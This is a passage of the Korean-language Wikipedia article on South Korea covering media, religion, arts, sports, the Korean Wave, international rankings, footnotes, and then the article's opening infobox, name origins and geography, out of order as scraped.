한겨레신문 1.7% 의 순으로 나타나고 있다.[104] 특정 분야를 전문적으로 다루는 전문지들도 있으며, 크게 경제에 관련된 소식을 다루는 경제지와, 스포츠와 연예계 소식을 다루는 스포츠지를 들 수 있다. 한편 주요 도시의 공공시설에서 출근 시간대에 무료로 배포되는 무가지가 존재하며,[105] 인터넷 매체를 통한 인터넷 신문도 존재한다. 2008년 기준 대한민국 일간지의 수는 약 288종, 주간지의 수는 약 2,896종, 월간지의 수는 약 3,293종, 격월간지의 수는 약 459종, 계간지의 수는 약 981종, 년 2회의 수는 약 325종, 인터넷 신문의 수는 약 1,040종 정도가 있다.[106] 방송의 경우 지상파 텔레비전 방송, FM라디오 방송, AM라디오 방송, 단파 라디오 방송, 케이블 방송, 디지털위성방송, 지상파 DMB 방송 등이 있다. 현재 전국 단위 지상파 방송으로 국공영 방송인 한국방송공사(KBS)와 준공영방송인 문화방송(MBC)이 있다. 지역 단위 지상파 민영 방송으로는 한국방송공사와 문화방송(MBC)을 중심으로 한 계열과 서울지역의 지역민영방송인 에스비에스(SBS)를 중심으로 한 SBS 네트워크 계열이 있으며, 그외 독자적인 지방 민영방송인 경인지역의 경인TV가 있다. 그외 한국교육방송공사법에 따른 공영방송인 한국교육방송공사(EBS)이 지상파 방송으로 있다. 종합편성채널 4사로는(JTBC, MBN, 채널A, TV조선)와 보도 채널인 연합뉴스TV와 YTN 등 2개의 보도 채널이 존재하며, 케이블TV 최대 PP사업자인 CJ E&M과 티캐스트도 있다. 라디오 방송의 경우 지상파 방송사인 KBS, MBC, SBS, EBS가 점유하는 주파수와 기타 기독교방송(CBS), 극동방송(FEBC), 불교방송(BBS), 평화방송(PBC), 원음방송(WBS) 등 종교방송의 주파수, 교통안내 전문 방송인 교통방송(서울은 TBS, 기타 지역은 TBN 한국교통방송), 국악 전문의 국악방송, 그리고 국방홍보 목적의 국군방송 등의 여러 방송사가 존재한다. 대한민국은 미국에 이어 세계에서 두 번째로 인터넷이 연결된 나라이며, 세계 최고 속도의 인터넷 속도를 보유하고 있다. 높은 초고속 인터넷 보급률과 인터넷 이용률을 보이는 대한민국은 2000년 초중반 인터넷 신문을 표방한 오마이뉴스, 프레시안 등의 등장과 함께 인터넷 신문과 포털사이트를 중심으로 한 인터넷 언론 매체가 두각을 나타내고 있다. 이런 인터넷 언론 매체들은 인터넷 매체 특유의 신속성과 높은 접근성 등을 강점으로 대한민국 사회에서 여론 형성에 상당한 위력을 보이고 있다. 참고로 단순 뉴스 전달자에 불과했던 포털사이트가 하나의 언론세력으로 성장하는 변화를 보임에 따라, 대한민국 정부는 인터넷 신문사, 포털사이트를 언론 기관으로 보고 법적 규제를 마련했다.[107] 종교 종교 구성 (2015년 인구주택 총 조사)[108] 종교없다    56.1% 불교    15.5% 개신교    19.7% 천주교    7.9% 기타    0.8% 경주 석굴암 이 부분의 본문은 대한민국의 종교입니다. 대한민국에는 고대로부터의 전통적인 토착신앙으로서 무교(무속신앙)이 있다. 불교와 유교는 오래전 삼국시대부터 유입되었으며, 불교는 5세기부터 14세기 말(삼국시대 및 고려시대)에 이르는 약 1천 년 동안 한반도에서 융성하여 많은 사찰과 문화유산을 남기고 현재 단일 종교로는 대한민국에서 가장 신도수가 많다.[109] 14세기 말 조선에서는 유교가 국교로 지정되었다. 그러나 현재는 유교를 학문과 사상, 가치관 그리고 철학으로서 배우는 사람은 있으나 신앙의 대상으로 삼는 사람은 그다지 많지 않다. 유교는 현재까지도 한국인들의 풍습이나 습관, 습성, 가치관, 사상, 생활 방식 등에 많은 영향을 미치고 있다. 기독교의 경우 천주교는 조선 후기에 이승훈 등에 의해 서학이라는 이름으로 전파되었으며[110], 그 교세가 확장되자 병인박해, 신유박해 등 대규모 박해 사건이 일어난 일 때문에 프랑스의 병인양요가 일어난 계기가 되어 조선 정부의 탄압이 거세졌다. 당시의 순교자 중 103명이 로마 가톨릭교회에서 시성되어 성인이 되었다. 19세기 말부터 20세기 초 사이에 미국의 개신교 선교사들의 선교활동으로 학교와 개신교 교회들이 세워졌다. 이 시기에 감리교, 장로회 등의 개신교, 성공회, 정교회 선교사가 파송됨으로써 전파되었고 양적인 성장이 있었다. 대한민국의 기독교 역사는 비록 짧으나 빠른 속도로 발전하여 현대 사회에 큰 영향을 발휘하고 있으며 전 세계적인 종교활동 및 선교가 활발하다. 현재 성공회, 천주교와 정교회, 개신교를 합친 기독교 인구는 전 종교 중에서 가장 많다. 그 밖에 천도교(동학), 대종교, 원불교, 증산도, 통일교 등 여러 신흥 종교가 19세기에서 20세기에 이르는 기간 한국에서 창시되어 현재까지 신봉되고 있다. 예술 문학 이 부분의 본문은 한국 문학입니다. 음악 이 부분의 본문은 한국의 음악입니다. 대표적인 대한민국의 전통 민요로는 아리랑을 들 수 있고, 그 밖에 지방마다 다른 민요가 있다. 대한민국의 많은 가수들이 동아시아와 동남아시아권에 널리 알려져 있으며, 대한민국의 대중음악 시장(K-POP)은 지속적으로 발전하고 있다. 대표적인 K-POP가수로는 보아, 동방신기, 슈퍼주니어, 소녀시대, 샤이니, 비스트 , 티아라, 인피니트등이 있다. 또한 2012년에는 싸이(박재상)의 '강남스타일(Gangnam Style)'로 세계에 강남스타일 열풍을 불러일으켰으며, 이 노래는 원더걸스의 Nobody 이후, 미국 빌보드 차트에 2위까지 올랐다. 미술 이 부분의 본문은 한국 미술입니다. 한국 미술은 약 기원전 7천여년전 신석기 시대부터 시작되었다. 고조선 시기에는 제의를 위해 만들어진 비파형 동검, 동경 (거울), 방울에서 그 예를 찾아볼 수 있다. 삼국 시대에는 왕족과 귀족을 위한 예술이 등장하였는데, 고구려의 고분벽화, 백제의 금동대향로, 신라의 금관이 대표적이다. 이후 고려시대에는 도자기의 일종인 고려 청자와 먹으로 그리는 문인화가 발달했다. 조선 시대 때부터 양반 사대부들을 성리학에 기반한 문화를 발전시켰으며, 이들은 문인화와 백자를 선호하였다. 이들 문화는 다분히 사대주의적이었으나, 영조와 정조 시대에는 정선, 김홍도, 신윤복 등의 화원들이 나타나 특색 있는 미술을 만들었다. 동시에 조선시대에는 서민적인 미술인 민화가 발달했다. 그 후 대한제국기와 일제 강점기를 거치면서 일본 유학생을 중심으로 서양 고전 미술과 모더니즘 미술이 도입되었고, 해방 이후 미국, 프랑스, 독일로 유학을 떠났다 돌아온 유학생들이 현대 미술을 시도하였다. 현대 한국 미술은 서양적 기술과 재료를 바탕으로한 혼합된 서양화가 주를 이루고 있지만, 서예, 동양화와 같은 전통미술 역시 명맥을 이어나가고 있다. 한편 백남준은 독창적인 비디오 아트를 선보여 한국 출신 작가 중 가장 전세계적으로 잘 알려진 예술가가 되었다. 하지만 한국 순수미술 분야는 국내외적으로 관심을 받지 못하고 있다. 반면 건축, 그래픽디자인, 산업디자인, 게임 같은 상업미술 분야에서는 점차 주목받고 있다. 스포츠 이 부분의 본문은 대한민국의 스포츠입니다. 한국의 스포츠는 고대부터 무술에 근거한 체육 활동이 발달했으며, 특히 대한민국의 국기(國技)인 태권도는 올림픽 정식 종목에 채택되기도 하였다. 태권도 이외에도 한국 전통 무술(스포츠)인 궁술(국궁), 택견, 씨름이 있다. 대한민국은 1948년 하계 올림픽부터 올림픽에 참가했다. 또 1988년 하계 올림픽을 서울에 유치하였으며, 금메달 12개, 은메달 10개, 동메달 11개를 획득하여 종합 4위를 기록하였다. 올림픽에서 대한민국이 강세를 보이는 종목으로는 양궁, 사격, 탁구, 배드민턴, 쇼트트랙, 핸드볼, 유도, 태권도, 역도가 있으며, 최근 20년간 하계 올림픽의 경우 시드니 올림픽을 제외하면 메달 종합 10위 이내의 성적을 올렸다. 특히 2012년 하계 올림픽에서는 종합 5위에 오르는 기염을 토하기도 하였다. 동계 올림픽의 경우 2018년 동계 올림픽을 개최하기도 했으며, 2010년 동계 올림픽에서 대한민국은 종합 5위를 기록하며 최고 기록을 세웠다. 대한민국은 또한 1986년 아시안 게임과 2002년 아시안 게임, 2014년 아시안 게임등을 개최했으며, 종합 1위는 1995년 동계 유니버시아드, 2007년 동계 유니버시아드에서 차지한 적이 있다. 실제로 즐겨하는 생활스포츠 그리고 국가대표팀 경기와 프로 경기 포함 TV로 가장 즐겨보는 스포츠 등 각종 부분에서는 축구가 최고 인기 스포츠로 선정되고 있으며[111][112] 축구, 야구, 농구, 배구, e스포츠, 바둑의 6개의 종목이 프로 리그를 갖추고 있다. 프로 리그에서 인기 종목으로는 야구와 축구 등이 꼽히며, 한국의 발전에 밑거름에 이어 근래에는 국제 대회에서 좋은 성적을 거둔다. 축구는 2002년 FIFA 월드컵을 일본과 공동 개최하며 대회 4위에 오른 적이 있다. 2010년 FIFA 월드컵에서는 원정 16강에 성공하였으며, 2018년 대회까지 아시아에서 유일하게 10회 연속 월드컵 본선에 진출했다. 2012년 하계 올림픽 축구에서는 동메달을 따기도 했다. 야구는 2008년 하계 올림픽에서 우승, 2009년 월드 베이스볼 클래식 준우승, 2015년 WBSC 프리미어 12 우승의 경력이 있다. 1990년대 말 게임 및 전자 산업의 발전과 더불어 성장한 e스포츠는 2001년 '한국e스포츠협회' 창립 후 선수 관리, 경기 규칙, 대회 방식이 체계화 되어 누구나 쉽게 참여할 수 있는 대중 스포츠로서 자리를 잡았다. 2004년부터 파트 3 경마국으로 지정되었다. 2009년 대한민국의 서러브레드 경주마 생산은 1000여 마리였다[113]. 경기도 과천시, 경상남도 김해시와 부산광역시 강서구, 제주도에 경마공원이 있고 32개의 KRA 플라자(장외 마권 발매소)가 있다. 한편 대한민국이 개최했거나 개최 예정인 스포츠 대회는 다음과 같다. 올림픽 1988년 서울 하계 2018년 평창 동계 FIFA 월드컵 2002년 한국/일본 월드컵 2007년 U-17 월드컵 2017년 U-20 월드컵 세계 육상 선수권 대회 2011년 대구 아시안 게임 1986년 서울 하계 1999년 강원 동계 2002년 부산 하계 2014년 인천 하계 AFC 아시안 컵 1960년 한국 세계 수영 선수권 대회 2019년 광주 유니버시아드 1997년 무주-전주 동계 2003년 대구 하계 2015년 광주 하계 F1 코리아 그랑프리 세계 조정 선수권 대회 2013년 충주 한류 이 부분의 본문은 한류 (문화)입니다. 한류(韓流, Korean wave)는 대한민국의 대중문화가 주로 아시아를 중심으로 외국에서 대중성을 가지게 되는 것을 말한다. 1997년 무렵부터, 문화 수출국을 목표로 하는 대한민국의 국책을 배경으로, 2000년 전후부터 대한민국 드라마가 아시아의 여러 나라들에서 방송되었다. 그 후 중화인민공화국이나 일본에서도 한국의 대중 문화가 널리 유입되어 이 용어가 널리 사용되게 되었다. 공휴일 대한민국의 공휴일 문서를 참고하십시오. 국제 순위 이 부분의 본문은 대한민국의 국제 순위입니다. 평가기관 항목 순위 조사 시기 프리덤하우스(세계인권단체) 정치인권 및 시민자유 부분적 자유(Partly Free)[114] 2012년 국경 없는 기자회 인터넷 통제 인터넷 감시 대상국[115] 2012년 스위스 국제경영개발원(IMD) 국가 경쟁력 59개국 중 22위[71] 2012년 Clarkson PLC 사 조선산업 경쟁력 15개국 중 1위[116] 2012년 통계청(OECD국가들 중) 선박 건조량 30개국 중 1위[117] 2013년 아카마이 인터넷 평균 속도 226개국 중 1위[118] 2012년 옥스퍼드대학교, 오비에도 대학교 초고속 인터넷 품질 66개국 중 1위[119] 2012년 세계 경제 포럼(WEF) 정보통신 활용도 138개국 중 1위[120] 2012년 세계은행 관세행정 61개국 중 1위[121] 2012년 OECD 교통사고 사망률 31개국 중 2위[122] 2014년 OECD 결핵 사망률 30개국 중 1위[123] 2014년 OECD 제왕절개분만률 1위[124] 2005년 WHO(세계) 10만 명당 자살률 전 세계 1위[81] 2011년 OECD 청소년 자살률 OECD 회원국 중 1위 2013년 OECD 청소년 행복지수 OECD 회원국 중 34위 2013년 관련 항목 대한민국 정부 대한민국의 역사 대한민국의 주요 노동운동 대한민국의 문화 대한민국의 자연 대한민국의 요리 한반도 평화협정 대한민국의 통일 조선민주주의인민공화국 한국 한국 전쟁 대한민국의 자살 동북아 균형자론 대한민국의 기업 목록 대한민국의 공휴일 각주 ↑ 가 나 다 Report for Selected Countries and Subjects-Korea, International Monetary Fund, 2017-04-15 확인. ↑ 가 나 “Human Development Index and its components: P.198” (PDF). United Nations Development Programme. 2016. 2016년 5월 4일에 확인함.  ↑ 약칭으로 RK라는 표현도 있으나, 잘 쓰이지 않는다. ↑ “http://www.law.go.kr/%EB%B2%95%EB%A0%B9/%EB%8C%80%ED%95%9C%EB%AF%BC%EA%B5%AD%EA%B5%AD%EA%B8%B0%EB%B2%95”. 2018년 7월 6일에 확인함.  |title=에 외부 링크가 있음 (도움말) ↑ "한국은 국제법상 한반도 유일 합법정부 아니다" - 오마이뉴스 모바일 ↑ Ian Brownlie, Principles of Public International Law(1990), p.97. ↑ 92헌바6, 1997.1.16 ↑ 2016헌바361 ↑ 가 나 Report for Selected Countries and Subjects: South Korea, IMF, 2015-04-15 확인. ↑ http://data.worldbank.org/about/country-classifications/country-and-lending-groups#OECD_members ↑ '민국'(民國)이란 근대 개화기 당시 영어 단어인 Republic의 역어로 만들어진 단어이다. 즉, 단순히 지금의 공화국이라는 뜻이다. 중화민국이 처음으로 사용하였다. 한편 민국처럼 영어 단어인 Monarchy를 번역한 언어로 '군국'(君國)이라는 용어도 만들어져 잠시 사용된 적이 있다. ↑ 격동의 역사와 함께한 조선일보 90년 : 조선일보 인수해 혁신시킨 신석우, 임시정부 때는 '대한민국' 국호(國號) 정해 《조선일보》2010-01-08 ↑ 송승표, 《우리가 몰랐던 우리 역사: 나라 이름의 비밀을 찾아가는 역사 여행》, 학민사, 2013년 12월 10일. ↑ "정식 국호는 '대한민국'이나 사용의 편의상 '대한' 또는 '한국'이란 약칭을 쓸 수 있되 조선민주주의인민공화국과의 확연한 구별을 짓기 위하여 '조선'은 사용하지 못한다. '조선'은 지명으로도 사용하지 못하고 '조선해협', '동조선만(東朝鮮灣)', '서조선만(西朝鮮灣)' 등은 각각 '대한해협', '동한만', '서한만' 등으로 고쳐 부른다." ↑ 김정선 기자 (2005년 11월 29일). “남북 공식호칭 ‘남한’‘북한’으로 쓴다”. 경향신문.  ↑ 민종원 기자 (2008년 7월 28일). “Corea 대 Korea, 누가 이긴 거야?”. 오마이뉴스.  ↑ 가 나 《역사와 현실》, 〈국호영문표기, Corea에서 Korea로의 전환과 의미〉, 이영호, 2005년 12월, 한국역사연구회 ↑ 단 대한민국 헌법 제3조는 "대한민국의 영토는 한반도와 그 부속도서로 한다"고 규정하여 헌법상 북한 지역을 개별 국가로 인정하지 않고 있어 남북 관계는 아주 특수한 관계로 되어 있다. ↑ 가 나 다 국내기후자료 - 한국, 대한민국 기상청 ↑ Selig S Harrison, 《Seabed Petroleum in Northeast Asia: Conflict or Cooperation?》, Woodrow Wilson International Center for Scholars, 2005 ↑ 근대 한국을 가르는 기준은 1862년 고종의 즉위식, 1876년 강화도 조약에 따른 개항 이후, 1897년 대한제국의 선포 이후, 1948년 대한민국 정부 수립 이후 등 여러 이견이 있다. ↑ http://www.munhwa.com/news/view.html?no=1997041813000401 5.18 내란 사건 대법원 판결문 요지 ↑ [김대중 前 대통령 서거] 과감한 구조개혁 'DJ노믹스'로 최단기간 환란극복 :: 네이버 뉴스 ↑ http://www.pressian.com/article/article.asp?article_num=40080218172720&Section= '이라크통' 한병도 의원 "당선인 신분 망각했다" ↑ 강훈상 특파원. 김종수 기자 (2008년 2월 22일). “이라크 "韓-쿠르드 유전개발 MOU 승인 안해"(종합)”.  ↑ 비례대표 3명을 제외할 경우 25석이 된다. ↑ http://www.index.go.kr/com/cmm/fms/FileDown.do?apnd_file_id=1041&apnd_file_seq=16 ↑ 가 나 대법원 1990.9.25. 선고 90도1451 판결 ↑ 김연숙 기자 (2010년 9월 23일). “해외 우리국민 추방사례 43%가 일본”. 연합뉴스. 2010년 9월 29일에 확인함.  ↑ 2010년판 국방백서 부록3 "남북 군사력 비교" 271쪽. 2013년 2월 기준 ↑ 2010년판 국방백서 부록2 "세계 주요 국가의 국방비 비교" 270쪽. 2009년 기준 ↑ http://media.daum.net/society/newsview?newsid=20121113110214725 육군 3사관학교 여생도 뽑는다-내년까지 여군 활용 직위 재검토. 연합뉴스. 2012.11.13 11:02 ↑ 2012년판 국방백서 <도표 3-2> "육군의 주요 조직과 보유 전력" 41쪽 ↑ 차기전차 K2'흑표'의 세계 최고 전력 분석, 쿠키뉴스 엄기영, 2007-03-02 ↑ 두산인프라, 헬기잡는 장갑차 'K21'...내년부터 공급, 고뉴스 이대준, 2008-10-30[깨진 링크(과거 내용 찾기)] ↑ 수도, 8, 11, 20, 26, 30 ↑ 가 나 2010년판 국방백서 <도표 3-3> "해군의 주요 조직과 보유 전력" 42쪽 ↑ 1973년 이후~ : 강준만, 《한국현대사산책: 1970년대편》(2권) 15~22쪽 참조. ↑ “mk 뉴스 - 구매력 기준으로 보면 한국 1인당 소득 3만弗”. 2013년 12월 18일에 원본 문서에서 보존된 문서. 2010년 6월 6일에 확인함.  ↑ "The N-11: More Than an Acronym" Archived 2008년 9월 11일 - 웨이백 머신 - Goldman Sachs study of N-11 nations, Global Economics Paper No: 153, 2007년 3월 28일. ↑ 조선일보 최우석, 2008-11-01 ↑ Global 500 2008: Countries - South Korea ↑ 김병권 (2012년 1월 17일). “몇년째 '시한폭탄'... 가계부채, 올해는 터질까”. 오마이뉴스.  ↑ 가 나 다 라 가구당 부채 5000만원 처음 넘어서 문병기《동아일보》2011-11-12 ↑ 신건웅 기자 (2012년 2월 4일). “‘빚’으로 내몰리는 사회.. 위기의 가계대출”. 아시아투데이.  ↑ 하대석 기자 (2012년 1월 30일). “[경제365] 공공부문 부채 급증…800조 육박”. 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(남한에서 넘어옴) 둘러보기로 가기 검색하러 가기 다른 뜻에 대해서는 대한민국 (동음이의) 문서를 참조하십시오. 대한민국 大韓民國 국기 국장 국가 애국가 수도 서울 북위 37° 34′ 08″ 동경 126° 58′ 36″ / 북위 37.568889° 동경 126.976667°  / 37.568889; 126.976667 서울 정치공용어 한국어정치체제 공화제, 자유민주주의, 단일 국가, 대통령중심제대통령국회의장대법원장헌법재판소장국무총리 문재인문희상김명수유남석이낙연역사   • 독립 선언 1919년 3월 1일 • 임시 정부 수립 1919년 4월 11일 • 광복 1945년 8월 15일 • 헌법 제정 1948년 7월 17일 • 제1공화국 수립 1948년 8월 15일 • 4.19 혁명 1960년 4월 19일 • 제6공화국 수립 1988년 2월 25일지리면적 100,363km2 (107 위)내수면 비율 0.3%시간대 KST (UTC+09:00)DST 없음인구2018년 어림 51,635,000명2018년 조사 51,826,059명 (27위)인구 밀도 516.3명/km2 (26위)경제GDP(PPP) 2016년 어림값 • 전체 1조 9340억 $[1] (13위) • 일인당 27,538 $[1] (29위)명목 1조 4112억 $[1] (11위)HDI 0.901[2] (18위, 2016년 조사)통화 원 (KRW,₩) (KRW)기타ISO 3166-1 410, KR, KOR도메인 .kr / .한국국제 전화 +82 대한민국(듣기 (도움말·정보), 大韓民國, 영어: Republic of Korea; ROK[3])은 동아시아의 한반도 중남부에 있는 공화국이다. 서쪽으로는 서해를 사이에 두고 중화인민공화국이, 동쪽으로는 동해를 사이에 두고 일본이 있으며 북쪽으로는 조선민주주의인민공화국과 맞닿아 있다. 수도는 서울특별시이며, 국기는 태극기[4], 국가는 애국가, 공용어는 한국어와 한국 수어이다. 대한민국 국내에서는 간단히 한국(韓國), 남한(南韓) 등으로도 부른다. 대한민국이라는 명칭은 3.1 운동을 통해 독립을 선언하고, 1919년 4월 11일 대한민국 임시정부가 수립하며 시작되었다. 1945년 광복 이후, 한반도의 북위 38도선 이남 지역 거주자들의 자유로운 선거(5.10 총선거)를 통하여 1948년 8월 15일에 공식적인 민주주의 국가로 출범하였다. 대한민국 헌법 전문에 따르면 대한국민은 3.1운동으로 건립된 대한민국 임시 정부의 법통을 계승한다. 대한민국은 1948년 12월 유엔 총회 결의 제195호를 통해 유엔으로부터 한반도 대다수 주민의 자유로운 의사에 따라 탄생한 한반도 유일한 정부로서 합법 정부로 승인 받았다. 이와 관련하여 대한민국 정부가 1948년에 유엔 감시 하에 선거를 실시한 한반도 이남에서만 유일한 합법 정부라는 주장도 있다.[5] 1991년 대한민국과 조선민주주의인민공화국은 동시에 UN에 가입하였다. 한편 국제법 상의 관례와 통설[6], 대한민국의 헌법재판소의 판례에 따르면 조선민주주의인민공화국이 UN에 가입하였다 하여 가맹국들 상호 간에도 당연히 그 국가성이 승인되는 것은 아니고 또 그러한 의무가 있는 것이 아니다.[7] 대한민국은 조선민주주의인민공화국의 국가성을 원칙적으로 부정한다.[8] 대한민국은 한국 전쟁 이래 일명 '한강의 기적'이라고 불리는 높은 경제 발전을 이룩하며, 1990년대에 이르러 세계적인 경제 강국으로 발전하였다. 2015년 구매력 기준 1인당 국민 총소득(GDP)은 36,601달러로[9] 세계은행에서 고소득 국가로 분류되었고, 2016년 유엔의 인간 개발 지수(HDI) 조사에서 세계 18위로 '매우 높음'으로 분류되었다.[2] 또한, 국제 통화 기금(IMF)에서는 대한민국을 선진 경제국으로 분류하고 있다. 대한민국의 명목 국내 총생산(GDP)은 2016년 1조 4112억 달러이다.[9] 또한, 대한민국은 주요 20개국(G20), 경제 협력 개발 기구(OECD), 개발 원조 위원회(DAC), 파리 클럽과 같은 기구에서 회원국으로 활동하고 있다.[10] 목차 1 국명 2 지리 2.1 지형 2.2 기후 2.3 동식물 2.4 천연자원 3 역사 3.1 기원 3.2 대한민국 임시정부 3.3 군정기와 해방 정국 3.4 대한민국 정부 수립 3.5 한국 전쟁 3.6 제1·2공화국 3.7 제3·4공화국 3.8 제5공화국 3.9 노태우 정부와 문민정부 3.10 국민의 정부와 참여정부 3.11 이명박 정부와 박근혜 정부 3.12 문재인 정부 4 정치 4.1 정부 4.1.1 입법부 4.1.2 행정부 4.1.3 사법부 4.2 정당 4.3 행정 구역 4.4 외교 4.4.1 남북 관계 4.4.2 한미 관계 4.4.3 한일 관계 4.4.4 한중 관계 4.4.5 한러 관계 5 국방 5.1 육군 5.2 공군 5.3 해군 5.3.1 해병대 6 경제 6.1 개관 6.1.1 부채 6.2 산업 6.2.1 농업 6.2.2 공업 6.2.3 동반 성장 6.3 교통 6.3.1 육상 교통 6.3.1.1 도로 6.3.1.2 버스 6.3.1.3 철도 6.3.2 항공 교통 6.3.3 해상 교통 7 사회 7.1 사회적 약자 7.1.1 노동자 7.1.2 성소수자 7.1.3 여성 7.1.4 이주민 7.1.4.1 난민 7.2 인구 7.2.1 도시의 인구 순위 7.3 교육과 문화 7.4 복지 7.5 사회 갈등 7.5.1 갈등·소통 지수 7.6 사회 지표 7.7 심리 7.7.1 대응 7.8 여가 8 문화 8.1 언어 8.2 언론 8.3 종교 8.4 예술 8.4.1 문학 8.4.2 음악 8.4.3 미술 8.5 스포츠 8.6 한류 8.7 공휴일 9 국제 순위 10 관련 항목 11 각주 12 외부 링크 국명 한국의 역사韓國史 선사시대 구석기 시대 신석기 시대 (빗살무늬토기 시대) 청동기 시대 (민무늬토기 시대) 고조선시대 단군조선(?~기원전 194년) 위만조선(기원전 194년~기원전 108년) 진(辰)(기원전 4세기~기원전 2세기) 원삼국시대 부여 옥저 동예 마한 진한 변한 삼국시대 고구려(기원전 37년~668년) 백제(기원전 18년~660년) 신라(기원전 57년~ ) 가야(42~562년)   남북국시대 발해(698~926년) 통일신라(676년~ ) 후삼국시대 태봉(901~918년) 후백제(892~936년) 신라( ~935년) 통일왕조시대 고려(918~1392년) 조선(1392~1897년) 대한제국(1897~1910년) 식민지시대 일제 강점기(1910~1945년)   대한민국 임시 정부(1919~1945년) 현대 군정기 한국 (1945~1948년) 조선민주주의인민공화국(1948년~현재) 대한민국(1948년~현재) v • d • e • h 이 부분의 본문은 한국의 나라 이름입니다. '대한민국'이란 국호 중 대한(大韓)의 어원은 고대 한반도 남부 일대에 존재했던 나라의 이름인 한(韓)에서 유래한다. 마한, 진한, 변한을 합쳐 삼한이라고 불렀으며, 고구려, 백제, 신라를 합쳐 삼한이라 부르기도 하였다. 한(韓)이라는 말은 종교적 의미와 정치적 의미가 복합적으로 이루어져 고대부터 내려오던 말로서, '하나', '하늘', '크다', '칸(汗) 등 여러 해석이 있다. 근대 국가의 국호로서 '대한'은 1897년 고종이 대한제국을 선포하면서 다시 선택한 것으로 새 국호를 정한 이유를 "조선이라는 이름은 기자가 봉해졌을 때의 이름이니 제국의 이름으로 합당하지 않은데, 한(韓)이라는 이름은 우리의 고유한 이름이며 삼국시대의 세 국가를 아우르는 것이기도 하므로 '큰 한'이라는 이름이 적당하다"고 밝혔다. 이후 여기에 민국(民國)[11]을 더한 '대한민국'이라는 국호는 1919년 3.1운동 직후에 만들어진 대한민국 임시 정부에서 정한 것이다. 1919년 4월 10일 임시 정부의 첫 의정원 회의에서 신석우가 '대한민국'(大韓民國)으로 국호를 정하자고 한 것에 여운형이 '대한'이라는 이름으로 나라가 망했는데 또다시 '대한'을 쓸 필요가 있느냐며 반박하자, 다시 신석우가 "대한으로 망했으니 대한으로 다시 흥해보자"라고 부연 설명을 하였고, 이에 다수가 공감함에 따라 '대한민국'으로 결정되었다고 전해진다.[12][13] 광복 후 1948년 제헌 국회에서 이 국호를 계승하여 헌법에 명시하였고 다시 1950년 1월 16일 국무원고시 제7호 '국호 및 일부지방명과 지도색 사용에 관한 건'에 의해 확정하였다.[14] 이에 20세기 전반까지도 널리 사용되던 지명으로서의 '조선'이라는 이름은 '대한'이나 '한국', '한(韓)'으로 대체되어 현재 대한민국 내에서는 자주 쓰이지 않게 되었다. 이에 따라 대한민국의 국민은 자국의 국호를 '대한민국', '한국' 등으로 부르며, 자국을 호칭할 때는 흔히 '우리나라'라고 한다. '대한'이라는 칭호를 사용하기도 하며, 한반도 북부에 자리한 조선민주주의인민공화국과 대비해 한반도 남부에 있다 하여 '남한'으로도 불리는데 특히 조선민주주의인민공화국은 이를 남조선(南朝鮮)이라고 부른다.[15] 일본, 중화인민공화국, 중화민국, 베트남 등 주로 동아시아에 있는 한자 문화권 국가들에서도 일상에서 대한민국을 간단히 한국(중국어 간체자: 韩国, 정체자: 韓國, 병음: hánguó 한궈[*], 일본어: 韓国 간코쿠, 베트남어: Hàn Quốc한 꾸옥)이라 부른다. 다만 여전히 한반도 전체를 부를 때는 조선(중국어 간체자: 朝鲜, 정체자: 朝鮮, 병음: cháoxiǎn 차오시엔[*], 일본어: 朝鮮 조센, 베트남어: Triều Tiên찌에우 띠엔)이라는 명칭을 사용한다. 현재 영어권 국가에서는 일반적으로 Korea로 불리는데, 이 명칭의 시초는 중세 왕국인 '고려'라는 국명이 수도인 개성으로 통하는 벽란도를 출입하던 아라비아 상인들에게 전해지면서 Corea로 음역 되어 전 세계에 전해진 것이다.[16] 그 후 서방에 전해져 프랑스어로 Corée, 스페인어로 Corea, 영어로 Korea라고 불리게 되었다. 현재 대한민국의 공식 영어 명칭은 Republic of Korea로서, 약칭 'R.O.K.'로도 사용된다. 대한제국 시절 공식 문서에는 Corea 또는 Korea가 혼용되어 사용되었고, 1900년대 초기부터 영어권에서는 Korea의 사용 빈도가 높아지게 되었다. 1892년 외국인이 자주 보는 잡지 〈The Korean Repository〉 5월호에는 “미국 국무부와 영국의 왕립지리학회는 우리가 차용한 이 땅의 이름을 아주 조리 있게 Korea로 표기하기 시작했던 것”이라는 내용이 나온다.[17] 다만일제강점기에 들어서는 일본의 한 지방이 된 것으로부터 Chosen이라는 일본식 명칭을 사용하기도 했다.[17] 지리 지형 대한민국의 지도 대한민국은 동해를 사이에 두고 일본 열도와, 황해를 사이에 두고 중화인민공화국과 마주하며, 육지로는 군사 분계선을 사이에 두고 조선민주주의인민공화국(북한)과 맞닿아 있다.[18] 한반도는 제3기 마이오세 이후에 일어난 단층과 요곡운동의 결과 동쪽으로는 높은 산지가 급경사로 동해안에 임박하고 서쪽으로는 서서히 고도가 낮아진다. 이를 동고서저의 경동지형이라 한다. 높은 산들은 대부분 동부 지방에 치우쳐서 한반도의 등줄기라 불리는 태백산맥에 자리한다. 태백산맥의 대표적인 산이 설악산이다. 태백산맥의 남서쪽으로 소백산맥이 이어지며 그 중에는 지리산이 유명하다. 제주도에는 대한민국에서 가장 높은 산이자 사화산인 한라산이 있다. 대한민국의 지형도 하천의 유량은 극히 불규칙하여 여름에는 집중 호우로 연 강수량의 약 60% 이상이 홍수로 유출되며, 갈수기에는 강바닥을 거의 드러내는 하천이 많다. 대표적인 강은 위쪽부터 반시계 방향으로 한강, 금강, 영산강, 섬진강, 낙동강 등이다. 대다수의 강이 산지가 많은 동쪽에서 평평하고 낮은 구릉이 대부분인 서쪽으로 흐르며 중하류에 비교적 넓은 충적평야가 전개된다. 산맥은 교통에 적지 않은 제약을 주어, 산맥을 경계로 지역의 문화나 풍습이 크게 차이가 나기도 한다. 산맥으로 가로막힌 지방은 고개를 넘어 왕래했는데 영서 지방과 영동 지방을 연결하는 태백산맥의 대관령·한계령·진부령·미시령, 중서부와 영남 지방을 연결하는 소백산맥의 죽령·이화령·추풍령·육십령 등이 산맥을 넘는 주요한 교통로로 사용된다. 한반도의 서쪽은 황해, 동쪽은 동해, 남쪽은 남해와 맞닿아 있어 삼면이 바다로 둘러싸인 반도형이며, 가장 큰 부속 도서인 제주도 남쪽으로는 동중국해와 접한다. 황해와 남해 연안은 해안선이 복잡한 리아스식 해안으로 조수 간만의 차가 클 뿐만 아니라 해안 지형도 꽤 평탄하여 넓은 간석지가 전개된다. 또한 수많은 섬이 있어서 다도해라고도 불린다. 반면에 동해 연안은 대부분 해안선이 단조롭고 수심이 깊으며 간만의 차가 적다. 해안 근처에는 사구·석호 등이 형성되어 있고 먼 해상에 화산섬인 울릉도가 있으며 그보다 동쪽으로 약 87.4km 거리에 대한민국 최동단인 독도가 위치한다. 기후 인공위성으로 